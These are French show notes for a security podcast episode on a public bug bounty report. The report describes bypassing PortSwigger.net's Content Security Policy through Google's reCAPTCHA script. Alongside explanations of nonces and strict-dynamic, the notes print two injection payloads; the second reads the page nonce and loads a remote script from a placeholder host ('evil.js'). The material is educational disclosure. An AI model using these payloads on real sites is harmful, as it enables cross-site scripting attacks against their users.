Service Hacktion - Notes attachées au balado S01E09 - Contournement CSP sur PortSwigger.net en utilisant un script Google

Saison Épisode
1 9

Notes#

Article : 🇬🇧 Johan Carlsson - CSP bypass on PortSwigger.net using Google script resources

Johan Carlsson, pseudo joaxcar, est un développeur qui participe à des programmes de prime aux bogues (bug bounty).

Son rapport de vulnérabilité a été rendu public sur HackerOne.

Mise en garde :

  • Il a rapporté un contournement de CSP seul, ça serait hors périmètre sur la plupart des autres programmes.
  • Il est important de bien comprend sa cible et son modèle de menace.

Johan aime bien le contournement de CSP, car c'est un vaste sujet et qu'il est complexe d'écrire une bonne CSP.

La directive la plus importante est script-src. Souvent, on adopte soit une approche par liste blanche d'URL, soit on utilise un nombre aléatoire à usage unique (nonce).

Comment fonctionne un nonce ?

  1. Sur le serveur web, on génère une chaîne de caractères encodée en base64 ou en hexadecimal à partir de données générées aléatoirement. Les nonces doivent être générés différemment à chaque chargement de la page. (À usage unique, nonce = number once)
  2. Ajout de l'attribut nonce à la balise <script>. (similaire anti-CSRF)
  3. Envoyer le nonce dans un en-tête CSP.
  4. Le nonce est pseudo-masqué dans le DOM :
  • script.getAttribute("nonce"); ❌ (vide)
  • script.nonce; ✅ (seul moyen)
  • Par exemple, impossible à exfiltrer depuis un filtre d'attribut CSS

Particularité de la directive strict-dynamic : ça indique que la confiance explicitement donnée à un script de la page, par le biais d'un nonce ou d'une empreinte, doit être propagée à tous les scripts chargés par celui-ci. Par exemple, pour une CSP script-src 'strict-dynamic' 'nonce-abc' https://listeblanche.example.com/, on ignore self pour <script nonce="abc">exemple</script> ou ignore la liste blanche d'URL pour <script nonce="abc" src="https://example.com/script.js"> car il y a le nonce, mais <script src="https://listeblanche.example.com/ex.js"> est interdit s'il n'y a pas le nonce, ça ignore donc les listes blanches d'URL. strict-dynamic autorise même des scripts sans nonce si chargé depuis un script avec nonce.

Quand il n'y a pas strict-dynamic, abus avec script Captcha de Google :

1
2
3
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

Mais si on remplace alert par eval, c'est bloqué parce que unsafe-eval n'est pas autorisé. Ça donne une XSS très limitée. Il va falloir trouver le moyen d'avoir une XSS complète.

Une fausse idée assez répandue concernant le CSP est que la valeur du nonce est cachée après le chargement du DOM. Ce n'est que partiellement vrai. En regardant le DOM dans les outils de développement après avoir chargé une page avec des scripts décorés avec des nonces, il n'y a pas de valeur de nonce visible sur les balises de script, seulement un attribut de nonce vide. Cela ne signifie toutefois pas que la valeur nonce est supprimée ; elle est simplement cachée des canaux latéraux tels que CSS. La valeur est toujours accessible à partir de JavaScript.

On peut y accéder en JS avec node.nonce, ex :

1
const nonce = document.querySelector("[nonce]").nonce;`.

On peut donc créer un nouveau script avec le même nonce :

1
2
3
4
5
6
7
8
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

Des contournements sans chaine complète comme le contournement d'un second facteur d'authentification est généralement accepté, mais pas un contournement de CSP seul. L'auteur a rapporté le contournement de CSP seul, car il n'a pas trouvé de XSS. Cela serait normalement hors-périmètre, mais il a jugé qu'ils accepteraient, car il avait vu qu'ils acceptaient des bogues de contournement de CSP induits par des composants tiers. Attention à ne pas faire pareil aveuglement et finir avec un rapport catégorisé en hors périmètre ou non applicable.

  • Liste blanche : contournement avec JSONP, Angular, etc. Utilisation abusive d'une ressource autorisée.
  • nonce :
    • Si strict-dynamic, contournement identique à la liste blanche
    • Si sans strict-dynamic, il faudra en plus récupérer le nonce d'un autre script
Partager